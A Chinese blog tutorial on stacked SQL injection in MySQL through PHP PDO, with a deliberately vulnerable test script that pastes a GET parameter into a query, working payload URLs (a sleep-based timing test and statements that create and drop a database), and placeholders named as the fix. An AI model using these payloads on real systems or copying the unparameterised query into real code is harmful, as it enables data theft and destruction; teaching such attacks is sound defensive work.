美文网首页
堆叠注入

堆叠注入

作者: 草莓养殖户 | 来源:发表于2019-11-28 17:00 被阅读0次

SQL注入之堆叠注入

之前一直以为堆叠注入不适合mysql数据库,实战中也没有尝试过堆叠注入,今天看书《web安全攻防 渗透测试指南》才发现原来mysql也可以。

问题原因:

    1、使用PDO方式查询数据。

    2、从客户端获取的参数未进行处理直接拼接到sql语句中。

解决办法:使用PDO方式查询数据的时候使用占位符。

   PDO方式查询数据能执行多行语句,但是只能返回第一条的结果。所以如果用堆叠注入的话,要用时间注入。

  测试代码:

<?php

$host = "127.0.0.1";

                    $port = "3306"; //

                    $username = "root";

                    $password = "root";

                    $dbname = "information_schema";

                    $charset = "utf8";

                    $dsn = "mysql:dbname=$dbname;host=$host";

      try{

            $pdo = new Pdo($dsn, $username, $password);

            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    // 设置sql语句查询如果出现问题 就会抛出异常

            set_exception_handler("cus_exception_handler");

        } catch(PDOException $e){

                die("连接失败: ".$e->getMessage());

        }

        function cus_exception_handler($e)

        {

              die("sql 异常: ".$e->getMessage());

        }

        //查询数据

        $query1 = "select * from schemata where schema_name='".$_GET['table']."'";

        $state = $pdo->query($query1);

        echo $query1."<hr>";

      //  query执行一条SQL语句,如果通过,则返回一个PDOStatement对象,可以直接遍历这个返回的记录集 (query用于select)

        $res = $state->fetch(PDO::FETCH_ASSOC);      // 获取结果集中的一行数据

        print_r($res);

?>

测试语句1:http://127.0.0.1/phpinfo.phP?table=mysql

测试语句2:http://127.0.0.1/phpinfo.phP?table=mysql%27;select%20sleep(5)%20%23

对比之下可以看到第二个语句执行成功。剩下的就跟平时的时间注入一样了。

更新信息:堆叠注入危害比其他的注入危害高,如果mysql用户权限足够,可以执行添加删除数据库的操作。

创建数据库:127.0.0.1/phpinfo.phP?table=mysql';create database test --+

删除数据库:127.0.0.1/phpinfo.phP?table=mysql';drop database test --+

相关文章

  • 堆叠注入

    SQL注入之堆叠注入 之前一直以为堆叠注入不适合mysql数据库,实战中也没有尝试过堆叠注入,今天看书《web安全...

  • BUUCTF-Web-随便注(三种解题思路)

    知识点:SQL注入-堆叠注入,sql预处理语句,巧用contact()函数绕过 堆叠注入原理: 在SQL中,分号(...

  • sqli-labs level38-45 堆叠注入

    第三十八关 堆叠注入,单引号闭合。可以用联合查询注入, 但是题目是堆叠注入所以用堆叠。向users表中插入一条用户...

  • 威力巨大的堆叠注入

    堆叠注入 - 定义 堆叠注入(Stacked Injections)一堆SQL语句(多条)一起执行在MySQL中。...

  • Sql-labs-page3

    less-38 (堆叠注入) 堆叠注入讲解 less-39 解题链接 less-40 less-41 less-...

  • SQL注入-堆叠查询注入

    特别声明:该文章只运用于学习安全测试交流之用,请勿用于其他 堆叠注入。从名词的含义就可以看到应该是一堆sql语句(...

  • sqli-labs Less-50-53

    Less-50堆叠注入看源码使用了mysqli_multi_query()函数出现了该函数可考虑堆叠注入构造pay...

  • SQL注入 堆叠注入(Stack Injection)

    注入原理 平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相...

  • SQL注入----二次注入、堆叠注入

    二次注入 最近在看到《Web安全攻防 渗透测试实战指南》说了关于二次注入的问题,以前就听过二次注入,但是没有深入了...

  • Mysql手工注入小结

    前言 实习电话面的时候,问到了sql注入的利用,我扒拉扒拉一大堆,结果脑子一抽,说Mysql注入不支持堆叠注入 我...

网友评论

      本文标题:堆叠注入

      本文链接:https://www.haomeiwen.com/subject/fljbwctx.html